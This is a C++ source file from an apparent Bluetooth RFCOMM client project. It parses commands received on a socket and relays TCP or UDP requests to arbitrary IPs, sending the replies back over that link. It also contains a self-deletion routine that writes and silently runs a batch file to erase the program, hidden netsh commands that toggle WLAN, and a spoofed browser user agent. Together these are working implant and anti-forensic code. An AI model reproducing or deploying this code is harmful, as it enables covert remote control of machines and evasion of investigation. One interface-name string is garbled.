WinRFCOMM_client/sock.cpp
2024-02-15 12:00:37 +08:00

486 lines
12 KiB
C++
Raw Blame History

#include "stdafx.h"
#include "WinSrv.h"
#include "stdio.h"
#include "stdlib.h"
#include "string.h"
void Send2A(SOCKET s, unsigned int dwalgo, char *buf, int bufLen, unsigned int dwRet );
DWORD TCPData(IN LPCSTR lpIP, IN LPCSTR lpszPath, OUT LPVOID lpOutBuffer, IN DWORD dwOutBufBytes, OUT LPDWORD lpdwRecvdBytes)
{
DWORD dwResult = 0;
WORD wPort = 80;
INT nOffset = 0;
struct hostent *pURL = NULL;
struct sockaddr_in addr;
WSADATA WSAData = { 0 };
SOCKET sockfd = INVALID_SOCKET;
LPSTR lpBuf = NULL;
LPSTR lpTempBuf = NULL;
::WSAStartup(MAKEWORD(1, 1), &WSAData);
do
{
if (!dwOutBufBytes){
dwOutBufBytes = 4096;
}
lpBuf = new CHAR[dwOutBufBytes];
lpTempBuf = new CHAR[8192];
if (NULL == lpBuf || NULL == lpTempBuf){
dwResult = ERROR_NOT_ENOUGH_MEMORY; break;
}
RtlZeroMemory(lpBuf, dwOutBufBytes);
RtlZeroMemory(lpTempBuf, 8192);
char *lpstr = strstr((char*)lpIP, ":");
if (lpstr){
*lpstr = 0;
lpstr++;
wPort = atoi(lpstr);
}
sockfd = ::socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
if (INVALID_SOCKET == sockfd){
dwResult = ::WSAGetLastError(); break;
}
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(lpIP);
addr.sin_port = ::htons(wPort);
dwResult = ::connect(sockfd, (SOCKADDR *)&addr, sizeof(addr));
if (dwResult == SOCKET_ERROR){
dwResult = ::WSAGetLastError(); break;
}
sprintf_s((char*)lpBuf, 512, "GET /%s HTTP/1.1\r\nHost: %s\r\nConnection: Close\r\nAccept: */*\r\nUser-Agent:Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)\r\n\r\n", (char*)lpszPath, (char*)lpIP);
if (SOCKET_ERROR == ::send(sockfd, lpBuf, (INT)strlen(lpBuf), 0)){
dwResult = ::WSAGetLastError(); break;
}
if (NULL == lpOutBuffer) break;
RtlZeroMemory(lpBuf, dwOutBufBytes);
DWORD dwTickStart = ::GetTickCount();
DWORD dwTickLast = dwTickStart;
DWORD dwTickNow = 0;
INT nThisRecv = 0;
nOffset = 0;
fd_set myfd_rset;
fd_set myfd_0set;
struct timeval timeout;
while (TRUE)
{
FD_ZERO(&myfd_rset);
FD_ZERO(&myfd_0set);
FD_SET(sockfd, &myfd_rset);
FD_SET(sockfd, &myfd_0set);
timeout.tv_sec = 0;
timeout.tv_usec = 2000;
int nSelect = ::select((INT)sockfd + 1, &myfd_rset, NULL, &myfd_0set, &timeout);
if (nSelect < 0){
dwResult = ERROR_INTERNAL_ERROR; break;
}
if (nSelect == 0){
dwTickNow = ::GetTickCount();
if (dwTickNow - dwTickLast >= 10 * 1000){
dwResult = ERROR_TIMEOUT; break;
}
}
if (nSelect){
nThisRecv = ::recv(sockfd, lpBuf + nOffset, min(32 * 1024, dwOutBufBytes - nOffset), 0);
if (0 > nThisRecv){
dwResult = ERROR_INTERNAL_ERROR; break;
}
if (0 == nThisRecv) break;
if (nThisRecv > 0){
nOffset += nThisRecv;
dwTickLast = ::GetTickCount();
}
}
}
RtlCopyMemory(lpOutBuffer, lpBuf, nOffset);
} while (0);
if (lpBuf) delete[] lpBuf;
if (lpTempBuf) delete[] lpTempBuf;
if (INVALID_SOCKET != sockfd){
closesocket(sockfd);
}
::WSACleanup();
if (lpdwRecvdBytes){
*lpdwRecvdBytes = (DWORD)nOffset;
}
return dwResult;
}
DWORD UDPData(IN LPCSTR lpIP, IN LPCSTR lpszPath, OUT LPVOID lpOutBuffer, IN DWORD dwOutBufBytes, OUT LPDWORD lpdwRecvdBytes)
{
WSADATA WSAData = { 0 };
WSAStartup(MAKEWORD(1, 1), &WSAData);
unsigned short wPort = 80;
char *lpstr = strstr((char*)lpIP, ":");
if (lpstr){
*lpstr = 0;
lpstr++;
wPort = atoi(lpstr);
}
SOCKET s;
struct sockaddr_in server;
int len = sizeof(server);
server.sin_family = AF_INET;
server.sin_port = htons(wPort);
server.sin_addr.s_addr = inet_addr(lpIP);
s = socket(AF_INET, SOCK_DGRAM, 0);
if (sendto(s, lpszPath, strlen(lpszPath), 0, (struct sockaddr*)&server, len) != SOCKET_ERROR){
*lpdwRecvdBytes = (DWORD)recvfrom(s, (char*)lpOutBuffer, dwOutBufBytes, 0, (struct sockaddr*)&server, &len);
}
closesocket(s);
return 0;
}
char* __g_stristrA(char *lpstrW, int dwstrW, char *lpstrV)
{
char *lpRet = NULL;
int dwstrV;
do
{
if (NULL == lpstrW || NULL == lpstrV){
break;
}
if (dwstrW == 0) dwstrW = strlen(lpstrW);
dwstrV = strlen(lpstrV);
if (dwstrW < dwstrV){
break;
}
while ( dwstrW >0 && dwstrV > 0 )
{
if (dwstrW < dwstrV){
break;
}
if ((_strnicmp(lpstrW, lpstrV, dwstrV) == 0)){
lpRet = lpstrW;
break;
}
++lpstrW;
--dwstrW;
}
} while (0);
return lpRet;
}
#include <stdlib.h>
#include <stdio.h>
#include <windows.h>
#include <tchar.h>
void GetRadomString(IN DWORD dwCount, OUT LPTSTR lpszString, DWORD dwOutBytes)
{
DWORD dwMaxCount = 0, i = 0;
DWORD dwRadom = 0;
TCHAR szDic[64] = { 0 };
RtlZeroMemory(lpszString, dwOutBytes);
for (i = 0; i<10; i++)
{
szDic[i] = (TCHAR)('0' + i);
}
for (i = 0; i<26; i++)
{
szDic[i + 10] = (TCHAR)('A' + i);
}
for (i = 0; i<26; i++)
{
szDic[i + 36] = (TCHAR)('a' + i);
}
szDic[62] = '_';
szDic[63] = '\0';
dwMaxCount = (DWORD)_tcslen(szDic);
for (i = 0; i<dwCount; i++)
{
dwRadom = rand() % dwMaxCount;
lpszString[i] = szDic[dwRadom];
}
}
DWORD MyWriteFileEx(IN LPCTSTR lpszFile, IN UINT64 qwOffset, IN LPVOID lpBuffer, IN DWORD dwBytes, BOOL bSetEnd, BOOL bWow64)
{
DWORD dwResult = 0;
HANDLE hFile = INVALID_HANDLE_VALUE;
DWORD dwBytesRet = 0;
LARGE_INTEGER liPos;
do
{
if (NULL == lpszFile || NULL == lpBuffer)
{
dwResult = (ERROR_INVALID_PARAMETER); break;
}
::SetFileAttributes(lpszFile, 0);
hFile = ::CreateFile(lpszFile, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_BACKUP_SEMANTICS, NULL);
if (INVALID_HANDLE_VALUE == hFile)
{
hFile = ::CreateFile(lpszFile, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_BACKUP_SEMANTICS, NULL);
}
if (INVALID_HANDLE_VALUE == hFile)
{
dwResult = (::GetLastError()); break;
}
if (qwOffset == -1)
{
liPos.QuadPart = 0;
if (!::SetFilePointerEx(hFile, liPos, NULL, FILE_END))
{
dwResult = (::GetLastError()); break;
}
}
else
{
liPos.QuadPart = qwOffset;
if (!::SetFilePointerEx(hFile, liPos, NULL, FILE_BEGIN))
{
dwResult = (::GetLastError()); break;
}
}
if (!::WriteFile(hFile, lpBuffer, dwBytes, &dwBytesRet, NULL))
{
dwResult = (::GetLastError()); break;
}
if (dwBytesRet != dwBytes)
{
dwResult = (ERROR_WRITE_FAULT); break;
}
if (bSetEnd)
{
::SetEndOfFile(hFile);
}
::FlushFileBuffers(hFile);
} while (0);
if (INVALID_HANDLE_VALUE != hFile)
{
::CloseHandle(hFile);
}
return dwResult;
}
DWORD LaunchAndWait(IN LPCTSTR szExeName, IN LPTSTR szCmdLine/*=NULL*/, IN LPCTSTR szCurrentDirectory/*=NULL*/, IN BOOL bShowWindow/*=TRUE*/, IN BOOL bWait/*=FALSE*/, OUT HANDLE *lpHandle/*=NULL*/, OUT DWORD *lpdwPID/*=NULL*/)
{
PROCESS_INFORMATION pinfos;
DWORD dwExitCode = ERROR_SUCCESS;
STARTUPINFO si;
RtlZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
if (!bShowWindow)
{
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
}
if (lpdwPID) *lpdwPID = 0;
if (lpHandle) *lpHandle = NULL;
if (::CreateProcess(szExeName, szCmdLine, NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, szCurrentDirectory, &si, &pinfos) == FALSE)
{
return (::GetLastError());
}
::CloseHandle(pinfos.hThread);
if (lpdwPID) *lpdwPID = pinfos.dwProcessId;
if (lpHandle) *lpHandle = pinfos.hProcess;
if (bWait)
{
dwExitCode = ::WaitForSingleObject(pinfos.hProcess, INFINITE);
if (WAIT_OBJECT_0 == dwExitCode)
{
if (!::GetExitCodeProcess(pinfos.hProcess, &dwExitCode))
{
dwExitCode = (::GetLastError());
}
else
{
dwExitCode = ERROR_SUCCESS;
}
}
}
if (NULL == lpHandle)
{
::CloseHandle(pinfos.hProcess);
}
return dwExitCode;
}
DWORD DeleteMySelf(HMODULE hModule, DWORD dwTryCntPer2Second)
{
DWORD dwResult = 0;
CHAR *lpBuffer = NULL;
CHAR *lpszMyFile = NULL;
CHAR *lpszBatFile = NULL;
CHAR *lpszData = NULL;
CHAR szRadom[16] = { 0 };
CHAR szTmpPath[MAX_PATH] = { 0 };
do
{
srand(::GetTickCount());
GetRadomString(rand() % 5 + 5, szRadom, sizeof(szRadom));
lpBuffer = new CHAR[4096];
if (NULL == lpBuffer)
{
dwResult = (ERROR_NOT_ENOUGH_MEMORY); break;
}
RtlZeroMemory(lpBuffer, 4096);
lpszMyFile = lpBuffer;
lpszBatFile = lpBuffer + 512;
lpszData = lpBuffer + 1024;
::GetModuleFileNameA(hModule, lpszMyFile, MAX_PATH);
::GetTempPathA(MAX_PATH, szTmpPath);
strcpy(lpszBatFile, szTmpPath);
strcat(lpszBatFile, szRadom);
strcat(lpszBatFile, ".bat");
LPSTR lpThis = lpszData;
strcpy(lpThis, "@echo off\r\n");
lpThis += strlen(lpThis);
sprintf(lpThis, "set cnt=%u\r\n", dwTryCntPer2Second ? dwTryCntPer2Second : 1);
lpThis += strlen(lpThis);
strcpy(lpThis, "set num=0\r\n:r1\r\nset /a num=%num%+1\r\n");
lpThis += strlen(lpThis);
sprintf(lpThis, "del /f /q \"%s\"\r\n", lpszMyFile);
lpThis += strlen(lpThis);
strcpy(lpThis, "if %cnt%==%num% goto e1\r\nping -n 2 127.1>nul\r\n");
lpThis += strlen(lpThis);
sprintf(lpThis, "if exist \"%s\" goto r1\r\n", lpszMyFile);
lpThis += strlen(lpThis);
sprintf(lpThis, ":e1\r\ndel /f /q \"%s\"\r\n", lpszBatFile);
lpThis += strlen(lpThis);
MyWriteFileEx(lpszBatFile, 0, lpszData, (DWORD)strlen(lpszData), TRUE, FALSE);
sprintf(lpszData, "\"%s\"", lpszBatFile);
LaunchAndWait(NULL, lpszData, szTmpPath, FALSE, FALSE, NULL, NULL);
} while (0);
if (lpBuffer) delete[] lpBuffer;
return dwResult;
}
void Delself()
{
DeleteMySelf(NULL, 3);
ExitProcess(0);
}
void wifi(unsigned int IsOn)
{
char szCommandLine[512] = { 0 };
char szCommandLineA[512] = { 0 };
if (IsOn){
strcpy(szCommandLine, "cmd /c netsh interface set interface \"WLAN\" enabled");
strcpy(szCommandLineA, "cmd /c netsh interface set interface \"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\" enabled");
}
else
{
strcpy(szCommandLine, "cmd /c netsh interface set interface \"WLAN\" disable");
strcpy(szCommandLineA, "cmd /c netsh interface set interface \"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\" disable");
}
WinExec(szCommandLine, SW_HIDE );
WinExec(szCommandLineA, SW_HIDE);
}
void DoData( SOCKET Blusock, char *buf, unsigned int dwAlgo )
{
BOOL IsTcp = 0;
char *lpRet = NULL;
int iRet = 1;
char szIP[260] = { 0 };
char szData[512] = { 0 };
char *lpBufout = NULL;
DWORD dwBufOutSize = 512 * 1024;
DWORD dwBufRetSize = 0;
do
{
lpRet = __g_stristrA(buf, strlen(buf), "-Tcp");
if (lpRet){
IsTcp = 1;
}
lpRet = __g_stristrA(buf, strlen(buf), "-Get");
if (lpRet){
lpRet += 4;
int IsIp = 1;
int i = 0;
while (1)
{
if (*lpRet == ' '){
lpRet++;
continue;
}
if (*lpRet == '\0' || *lpRet == 0 || *lpRet == '-'){
break;
}
if (*lpRet == '/'){
i = 0;
IsIp = 0;
lpRet++;
continue;
}
if (IsIp){
szIP[i++] = *lpRet;
}
else
{
szData[i++] = *lpRet;
}
lpRet++;
}
}
if (szIP[0] == 0 || szData[0] == 0){
break;
}
lpBufout = (char*)malloc(dwBufOutSize);
if (!lpBufout){
break;
}
RtlZeroMemory(lpBufout, dwBufOutSize);
if (IsTcp){
TCPData(szIP, szData, lpBufout, dwBufOutSize, &dwBufRetSize);
if (dwBufRetSize > 1024){
dwBufRetSize = 1024;
}
}
else
{
UDPData(szIP, szData, lpBufout, dwBufOutSize, &dwBufRetSize);
}
if (dwBufRetSize == 0 || dwBufRetSize >= dwBufOutSize){
dwBufRetSize = 0;
break;
}
iRet = 0;
} while (0);
Send2A(Blusock, dwAlgo, lpBufout, dwBufRetSize, iRet );
if (lpBufout){
free(lpBufout);
}
}